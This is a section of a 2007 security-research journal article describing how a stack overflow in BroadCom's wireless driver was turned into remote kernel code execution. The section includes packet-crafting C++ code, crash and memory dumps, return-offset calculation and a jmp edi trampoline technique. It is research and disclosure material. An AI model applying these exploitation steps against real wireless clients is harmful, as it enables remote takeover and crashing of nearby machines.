Uninformed: Informative Information for the Uninformed

Vol 6» 2007.Jan


Next: D-Link Up: Case Studies Previous: Case Studies   Contents

BroadCom

The first vulnerability that was subject to the process described in this paper was an issue that was found in BroadCom's wireless device driver. This vulnerability was discovered by Chris Eagle as a result of his interest in doing some reversing of kernel-mode code. Chris noticed what appeared to be a conventional stack overflow in the way the BroadCom device driver handled beacon packets. As a result of this tip, a simple program was written that generated beacon packets with overly sized SSIDs. The code that was used to do this is shown below:

int main(int argc, char **argv)
{
   Packet_80211 BeaconPacket;

   CreatePacketForExploit(BeaconPacket, basic_target);

   printf("Looping forever, sending packets.\n");

   while(true)
   {
      int ret = Send80211Packet(&in_tx, BeaconPacket);
      usleep(cfg.usleep);
      if (ret == -1)
      {
         printf("Error tx'ing packet. Is interface up?\n");
         exit(0);
      }
   }
}

void CreatePacketForExploit(Packet_80211 &P, struct target T)
{
   Packet_80211_mgmt Beacon;
   u_int8_t bcast_addy[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
   Packet_80211_mgmt_Crafter MgmtCrafter(bcast_addy, cfg.src, cfg.bssid);
   MgmtCrafter.craft(8, Beacon); // 8 = beacon
   P = Beacon;
   printf("\n");

   if (T.payload_size > 255)
   {
      printf("invalid target. payload sizes > 255 wont fit in a single IE\n");
      exit(0);
   }

   u_int8_t fixed_parameters[12] = { 
      '_', ',', '.', 'j', 'c', '.', ',', '_', // timestamp (8 bytes)
       0x64, 0x00, // beeacon interval, 1.1024 secs
       0x11, 0x04  // capability information. ESS, WEP, Short slot time
   }; 

   P.AppendData(sizeof(fixed_parameters), fixed_parameters);

   u_int8_t SSID_ie[257]; //255 + 2 for type, value
   u_int8_t *SSID = SSID_ie + 2;

   SSID_ie[0] = 0;
   SSID_ie[1] = 255;

   memset(SSID, 0x41, 255);

   //Okay, SSID IE is ready for appending. 
   P.AppendData(sizeof(SSID_ie), SSID_ie);
   P.print_hex_dump();
}

As a result of running this code, 802.11 beacon packets were produced that did indeed contain overly sized SSIDs. However, these packets appeared to have no effect on the BroadCom device driver. After considerable head scratching, a modification was made to the program to see if a normally sized SSID would cause the device driver to process it. If it were processed, it would mean that the fake SSID would show up in the list of available networks. Even after making this modification, the device driver still did not appear to be processing the manually crafted 802.11 beacon packets. Finally, it was realized that the driver might have some checks in place such that it would only process beacon packets from networks that also respond to 802.11 probes. To test this theory out, the code was changed in the manner shown below:

CreatePacketForExploit(BeaconPacket, basic_target);

//CreatePacket returns a beacon, we will also send out directd probe responses.
Packet_80211 ProbePacket = BeaconPacket;

ProbePacket.wlan_header->subtype = 5; //probe response. 
ProbePacket.setDstAddr(cfg.dst);

...

while(true)
{
   int ret = Send80211Packet(&in_tx, BeaconPacket);
   usleep(cfg.usleep);
   ret = Send80211Packet(&in_tx, ProbePacket);
   usleep(2*cfg.usleep);
}

Sending out directed probe responses as well as beacon packets caused results to be generated immediately. When a small SSID was sent, it would suddenly show up in the list of available wireless networks. When an overly sized SSID was sent, it resulted in a much desired bluescreen as a result of the stack overflow that Chris had identified. The following output shows some of the crash information associated with transmitting an SSID that consisted of 255 0xCC's:

DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high.  This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: ccccfe9d, memory referenced
Arg2: 00000002, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: f6e713de, address which referenced memory
...
TRAP_FRAME:  80550004 -- (.trap ffffffff80550004)
ErrCode = 00000000
eax=cccccccc ebx=84ce62ac ecx=00000000 edx=84ce62ac esi=805500e0 edi=84ce6308
eip=f6e713de esp=80550078 ebp=805500e0 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
bcmwl5+0xf3de:
f6e713de f680d131000002  test    byte ptr [eax+31D1h],2     ds:0023:ccccfe9d=??
...
kd> k v
  *** Stack trace for last set context - .thread/.cxr resets it
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
805500e0 cccccccc cccccccc cccccccc cccccccc bcmwl5+0xf3de
80550194 f76a9f09 850890fc 80558e80 80558c20 0xcccccccc
805501ac 804dbbd4 850890b4 850890a0 00000000 NDIS!ndisMDpcX+0x21 (FPO: [Non-Fpo])
805501d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46 (FPO: [0,0,0])
805501d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26 (FPO: [0,0,0])

In this case, the crash occurred because a variable on the stack was overwritten that was subsequently used as a pointer. This overwritten pointer was then dereferenced. In this case, the dereference occurred through the eax register. Although the crash occurred as a result of the dereference, it's important to note that the return address for the stack frame was successfully overwritten with a controlled value of 0xcccccccc. If the function had been allowed to return cleanly without trying to dereference corrupted pointers, full control of the instruction pointer would have been obtained.

In order to avoid this crash and gain full control of the instruction pointer, it's necessary to try to calculate the offset of the return address from the start of the buffer that is being transmitted. Figuring out this offset also has the benefit of making it possible to figure out the minimum number of bytes necessary to transmit to trigger the overflow. This is important because it may be useful when it comes to preventing the dereference crash that was seen previously.

There are many different ways in which the offset of the return address can be determined. In this situation, the simplest way to go about it is to transmit a buffer that contains an incrementing array of bytes. For instance, byte index 0 is 0x00, byte index 1 is 0x01, and so on. The value that the return address is overwritten with will then make it possible to calculate its offset within the buffer. After transmitting a packet that makes use of this technique, the following crash is rendered:

DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high.  This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: 605f902e, memory referenced
Arg2: 00000002, IRQL
Arg3: 00000000, value 0 = read operation, 1 = write operation
Arg4: f73673de, address which referenced memory
...
STACK_TEXT:  
80550004 f73673de badb0d00 84d8b250 80550084 nt!KiTrap0E+0x233
WARNING: Stack unwind information not available. Following frames may be wrong.
805500e0 5c5b5a59 605f5e5d 64636261 68676665 bcmwl5+0xf3de
80550194 f76a9f09 84e9e0fc 80558e80 80558c20 0x5c5b5a59
805501ac 804dbbd4 84e9e0b4 84e9e0a0 00000000 NDIS!ndisMDpcX+0x21
805501d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46
805501d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26

From this stack trace, it can be seen that the return address was overwritten with 0x5c5b5a59. Since byte-ordering on x86 is little endian, the offset within the buffer that contains the SSID is 0x59.

With knowledge of the offset at which the return address is overwritten, the next step becomes figuring out where in the buffer to place the arbitrary code that will be executed. Before going down this route, it's important to provide a little bit of background on the format of 802.11 Management packets. Management packets encode all of their information in what the standard calls Information Elements (IEs). IEs have a one byte identifier followed by a one byte length which is subsequently followed by the associated IE data. For those familiar with Type-Length-Value (TLV), IEs are roughly the same thing. Based on this definition, the largest possible IE is 257 bytes (2 bytes of overhead, and 255 bytes of data).

The upshot of the size restrictions associated with an IE means that the largest possible SSID that can be copied to the stack is 255 bytes. When attempting to find the offset of the return address on the stack, an SSID IE was sent with a 255 byte SSID. Considering the fact that a stack overflow occurred, one might reasonably expect to find the entire 255 byte SSID on the stack as a result of the overflow that occurred. A quick dump of the stack can be used to validate this assumption:

kd> db esp L 256
80550078  2e f0 d9 84 0c 80 d8 84-00 80 d8 84 00 07 0e 01  ................
80550088  02 03 ff 00 01 02 03 04-05 06 07 08 09 0a 0b 0c  ................
80550098  0d 0e 0f 10 11 12 13 14-15 16 17 18 19 1a 1b 1c  ................
805500a8  1d 1e 1f 20 21 22 23 24-25 26 0b 28 0c 00 00 00  ... !"#$%&.(....
805500b8  82 84 8b 96 24 30 48 6c-0c 12 18 60 44 00 55 80  ....$0Hl...`D.U.
805500c8  3d 3e 3f 40 41 42 43 44-45 46 01 02 01 02 4b 4c  =>?@ABCDEF....KL
805500d8  4d 01 02 50 51 52 53 54-55 56 57 58 59 5a 5b 5c  M..PQRSTUVWXYZ[\
805500e8  5d 5e 5f 60 61 62 63 64-65 66 67 68 69 6a 6b 6c  ]^_`abcdefghijkl
805500f8  6d 6e 6f 70 71 72 73 74-75 76 77 78 79 7a 7b 7c  mnopqrstuvwxyz{|
80550108  7d 7e 7f 80 81 82 83 84-85 86 87 88 89 8a 8b 8c  }~..............
80550118  8d 8e 8f 90 91 92 93 94-95 96 97 98 99 9a 9b 9c  ................
80550128  9d 9e 9f a0 a1 a2 a3 a4-a5 a6 a7 a8 a9 aa ab ac  ................
80550138  ad ae af b0 b1 b2 b3 b4-b5 b6 b7 b8 b9 ba bb bc  ................
80550148  bd be bf c0 c1 c2 c3 c4-c5 c6 c7 c8 c9 ca cb cc  ................
80550158  cd ce cf d0 d1 d2 d3 d4-d5 d6 d7 d8 d9 da db dc  ................
80550168  dd de df e0 e1 e2 e3 e4-e5 e6 e7 e8 e9 ea eb ec  ................
80550178  ed ee ef f0 f1 f2 f3 f4-f5 f6 f7 f8 f9 fa fb fc  ................
80550188  fd fe e9 84 00 00 00 00-e0 9e 6a 01 ac 01 55 80  ..........j...U.

Based on this dump, it appears that the majority of the SSID was indeed copied across the stack. However, a large portion of the buffer prior to the offset of the return address has been mangled. In this instance, the return address appears to be located at 0x805500e4. While the area prior to this address appears mangled, the area succeeding it has remained intact.

In order to try to prove the possibility of gaining code execution, a good initial attempt would be to send a buffer that overwrites the return address with the address that immediately succeeds it (which will be composed of int3's). If everything works according to plan, the vulnerable function will return into the int3's and bluescreen the machine in a controlled fashion. This accomplishes two things. First, it proves that it is possible to redirect execution into a controllable buffer. Second, it gives a snapshot of the state of the registers at the time that execution control is redirected. The layout of the buffer that would need to be sent to trigger this condition is described in the diagram below:

[Padding.......][EIP][payload of int3's]
 ^               ^    ^
 |               |    \_ Can hold at most 163 bytes of arbitrary code.
 |               \_ Overwritten with 0x8055010d which points to the payload
 \_ Start of SSID that is mangled after the overflow occurs.

Transmitting a buffer that is structured as shown above does indeed result in a bluescreen. It is possible to differentiate actual crashes from those generated as the result of an int3 by looking at the bugcheck information. The use of an int3 will result in an unhandled kernel mode exception which is bugcheck code 0x8e. Furthermore, the exception code information associated with this (the first parameter of the exception) will be set to 0x80000003. Exception code 0x80000003 is used to indicate that the unhandled exception was associated with a trap instruction. This is generally a good indication that the arbitrary code you specified has executed. It's also very useful in situations where it is not possible to do remote kernel debugging and one must rely on strictly using crash dump analysis.

KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
This is a very common bugcheck.  Usually the exception address pinpoints
the driver/function that caused the problem.  Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003.  This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG.  This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG.  This will let us see why this breakpoint is
happening.
Arguments:
Arg1: 80000003, The exception code that was not handled
Arg2: 8055010d, The address that the exception occurred at
Arg3: 80550088, Trap Frame
Arg4: 00000000
...
TRAP_FRAME:  80550088 -- (.trap ffffffff80550088)
ErrCode = 00000000
eax=8055010d ebx=841b0000 ecx=00000000 edx=841b31f4 esi=841b000c edi=845f302e
eip=8055010e esp=805500fc ebp=8055010d iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
nt!KiDoubleFaultStack+0x2c8e:
8055010e cc              int     3
...
STACK_TEXT:  
8054fc50 8051d6a7 0000008e 80000003 8055010d nt!KeBugCheckEx+0x1b
80550018 804df235 80550034 00000000 80550088 nt!KiDispatchException+0x3b1
80550080 804df947 8055010d 8055010e badb0d00 nt!CommonDispatchException+0x4d
80550080 8055010e 8055010d 8055010e badb0d00 nt!KiTrap03+0xad
8055010d cccccccc cccccccc cccccccc cccccccc nt!KiDoubleFaultStack+0x2c8e
WARNING: Frame IP not in any known module. Following frames may be wrong.
80550111 cccccccc cccccccc cccccccc cccccccc 0xcccccccc
80550115 cccccccc cccccccc cccccccc cccccccc 0xcccccccc
80550119 cccccccc cccccccc cccccccc cccccccc 0xcccccccc
8055011d cccccccc cccccccc cccccccc cccccccc 0xcccccccc

The above crash dump information definitely shows that arbitrary code execution has been achieved. This is a big milestone. It pretty much proves that exploitation will be possible. However, it doesn't prove how reliable or portable it will be. For that reason, the next step involves identifying changes to the exploit that will make it more reliable and portable from one machine to the next. Fortunately, the current situation already appears like it might afford a good degree of portability, as the stack addresses don't appear to shift around from one crash to the next.

At this stage, the return address is being overwritten with a hard-coded stack address that points immediately after the return address in the buffer. One of the problems with this is that the amount of space immediately following the return address is limited to 163 bytes due to the maximum size of the SSID IE. This is enough room for small stub of a payload, but probably not large enough for a payload that would provide anything interesting in terms of features. It's also worth noting that overwriting past the return address might overwrite some important elements on the stack that could lead to the system crashing at some later point for hard to explain reasons. When dealing with kernel-mode vulnerabilities, it is advised that one attempt to clobber the least amount of state as possible in order to reduce the amount of collateral damage that might ensue.

Limiting the amount of data that is used in the overflow to only the amount needed to trigger the overwriting of the return address means that the total size for the SSID IE will be limited and not suitable to hold arbitrary code. However, there's no reason why code couldn't be placed in a completely separate IE unrelated to the SSID. This means we could transmit a packet that included both the bogus SSID IE and another arbitrary IE which would be used to contain the arbitrary code. Although this would work, it must be possible to find a reference to the arbitrary IE that contains the arbitrary code. One approach that might be taken to do this would be to search the address space for an intact copy of the 802.11 packet that is transmitted. Before going down that path, it makes sense to try to find instances of the packet in memory using the kernel debugger. A simple search of the address space using the destination MAC address of the packet sent is a good way to find potential matches. In this case, the destination MAC is 00:14:a5:06:8f:e6.

kd> .ignore_missing_pages 1
Suppress kernel summary dump missing page error message
kd> s 0x80000000 L?10000000 00 14 a5 06 8f e6
8418588a  00 14 a5 06 8f e6 ff ff-ff ff ff ff 40 0e 00 00  ............@...
841b0006  00 14 a5 06 8f e6 00 00-00 00 00 00 00 00 00 00  ................
841b1534  00 14 a5 06 8f e6 00 00-00 00 00 00 00 00 00 00  ................
84223028  00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01  ................
845dc028  00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01  ................
845de828  00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01  ................
845df828  00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01  ................
845f3028  00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01  ................
845f3828  00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01  ................
845f4028  00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01  ................
845f5028  00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01  ................
84642d4c  00 14 a5 06 8f e6 00 00-f0 c6 2a 85 00 00 00 00  ..........*.....
846d6d4c  00 14 a5 06 8f e6 00 00-80 79 21 85 00 00 00 00  .........y!.....
84eda06c  00 14 a5 06 8f e6 02 06-01 01 00 0e 00 00 00 00  ................
84efdecc  00 14 a5 06 8f e6 00 00-65 00 00 00 16 00 25 0a  ........e.....%.

The above output shows that quite a few matches were found One important thing to note is that the BSSID used in the packet that contained the overly sized SSID was 00:07:0e:01:02:03. In an 802.11 header, the addresses of Management packets are arranged in order of DST, SRC, BSSID. While some of the above matches do not appear to contain the entire packet contents, many of them do. Picking one of the matches at random shows the contents in more detail:

kd> db 84223028 L 128
84223028  00 14 a5 06 8f e6 00 07-0e 01 02 03 00 07 0e 01  ................
84223038  02 03 d0 cf 85 b1 b3 db-01 00 00 00 64 00 11 04  ............d...
84223048  00 ff 4a 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d  ..J..U...U...U..
84223058  01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d  .U...U...U...U..
84223068  01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d  .U...U...U...U..
84223078  01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d  .U...U...U...U..
84223088  01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d  .U...U...U...U..
84223098  01 55 80 0d 01 55 80 0d-01 55 80 0d 01 55 80 0d  .U...U...U...U..
842230a8  01 55 80 cc cc cc cc cc-cc cc cc cc cc cc cc cc  .U..............
842230b8  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
842230c8  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
842230d8  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
842230e8  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
842230f8  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
84223108  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................

Indeed, this does appear to be a full copy of the original packet. The reason why there are so many copies of the packet in memory might be related to the fact that the current form of the exploit is transmitting packets in an infinite loop, thus causing the driver to have a few copies lingering in memory. The fact that multiple copies exist in memory is good news considering it increases the number of places that could be used for return addresses. However, it's not as simple as hard-coding one of these addresses into the exploit considering pool allocated addresses will not be predictable. Instead, steps will need to be taken to attempt to find a reference to the packet through a register or through some other context. In this way, a very small stub could be placed after the return address in the buffer that would immediately transfer control into the a copy of the packet somewhere else in memory. Although some initial work with the debugger showed a couple of references to the original packet on the stack, a much simpler solution was identified. Consider the following register context at the time of the crash:

kd> r
Last set context:
eax=8055010d ebx=841b0000 ecx=00000000 edx=841b31f4 esi=841b000c edi=845f302e
eip=8055010e esp=805500fc ebp=8055010d iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
nt!KiDoubleFaultStack+0x2c8e:
8055010e cc              int     3

Inspecting each of these registers individually eventually shows that the edi register is pointing into a copy of the packet.

kd> db edi
845f302e  00 07 0e 01 02 03 00 07-0e 01 02 03 10 cf 85 b1  ................
845f303e  b3 db 01 00 00 00 64 00-11 04 00 ff 4a 0d 01 55  ......d.....J..U
845f304e  80 0d 01 55 80 0d 01 55-80 0d 01 55 80 0d 01 55  ...U...U...U...U

As chance would have it, edi is pointing to the source MAC in the 802.11 packet that was sent. If it had instead been pointing to the destination MAC or the end of the packet, it would not have been of any use. With edi being pointed to the source MAC, the rest of the cards fall into place. The hard-coded stack address that was previously used to overwrite the return address can be replaced with an address (probably inside ntoskrnl.exe) that contains the equivalent of a jmp edi instruction. When the exploit is triggered and the vulnerable function returns, it will transfer control to the location that contains the jmp edi. The jmp edi, in turn, transfers control to the first byte of the source MAC. By setting the source MAC to some executable code, such as a relative jump instruction, it is possible to finally transfer control into a location of the packet that contains the arbitrary code that should be executed.

This solves the problem of using the hard-coded stack address as the return address and should help to make the exploit more reliable and portable between targets. However, this portability will be limited by the location of the jmp edi instruction that is used when overwriting the return address. Finding the location of a jmp edi instruction is relatively simple, although more effective measures could be use to cross-reference addresses in an effort to find something more portable5.1:

kd> s nt L?10000000 ff e7
8063abce  ff e7 ff 21 47 70 21 83-98 03 00 00 eb 38 80 3d  ...!Gp!......8.=
806590ca  ff e7 ff 5f eb 05 bb 22-00 00 c0 8b ce e8 74 ff  ..._..."......t.
806590d9  ff e7 ff 5e 8b c3 5b c9-c2 08 00 cc cc cc cc cc  ...^..[.........
8066662c  ff e7 ff 8b d8 85 db 74-e0 33 d2 42 8b cb e8 d7  .......t.3.B....
806bb44b  ff e7 a3 6c ff a2 42 08-ff 3f 2a 1e f0 04 04 04  ...l..B..?*.....
...

With the exploit all but finished, the final question that remains unanswered is where the arbitrary code should be placed in the 802.11 packet. There are a few different ways that this could be tackled. The simplest solution to the problem would be to simply append the arbitrary code immediately after the SSID in the packet. However, this would make the packet malformed and might cause the driver to drop it. Alternatively, an arbitrary IE, such as a WPA IE, could be used as a container for the arbitrary code as suggested earlier in this section. For now, the authors decided to take the middle road. By default, a WPA IE will be used as the container for all payloads, regardless of whether or not the payloads fit within the IE. This has the effect of allowing all payloads smaller than 256 bytes to be part of a well-formed packet. Payloads that are larger than 255 bytes will cause the packet to be malformed, but perhaps not enough to cause the driver to drop the packet. An alternate solution to this issue can be found in the NetGear [*] case study.

At this point, the structure of the buffer and the packet as a whole have been completely researched and are ready to be tested. The only thing left to do is incorporate the arbitrary code that was described in 4.1. Much time was spent debugging and improving the code that was used in order to produce a reliable exploit. An example of what the final packet might look like when sent across the air is shown in the following screenshot:

Image packets